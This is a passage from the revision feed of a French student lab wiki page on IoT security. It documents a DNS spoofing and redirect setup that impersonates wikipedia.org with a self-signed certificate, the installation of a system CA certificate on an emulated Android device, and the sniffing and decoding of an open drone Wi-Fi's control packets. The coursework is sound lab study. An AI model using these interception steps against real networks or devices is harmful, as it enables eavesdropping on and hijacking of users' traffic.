===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099. Il y a&amp;lt;/code&amp;gt;flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de '''9 octets''' correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du 5ème octet (&amp;lt;code&amp;gt;0xBA&amp;lt;/code&amp;gt;) qui correspondrait à l'instruction &amp;quot;decoller&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11168</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11168"/>
		<updated>2026-01-13T13:57:39Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099. Il y a&amp;lt;/code&amp;gt;flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de '''9 octets''' correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut idenfier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du 5ème octet (&amp;lt;code&amp;gt;0xBA&amp;lt;/code&amp;gt;) qui correspondrait à l'instruction &amp;quot;decoller&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification :&lt;br /&gt;
&lt;br /&gt;
iwconfig&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ping 192.168.1.1&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11167</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11167"/>
		<updated>2026-01-13T13:49:07Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
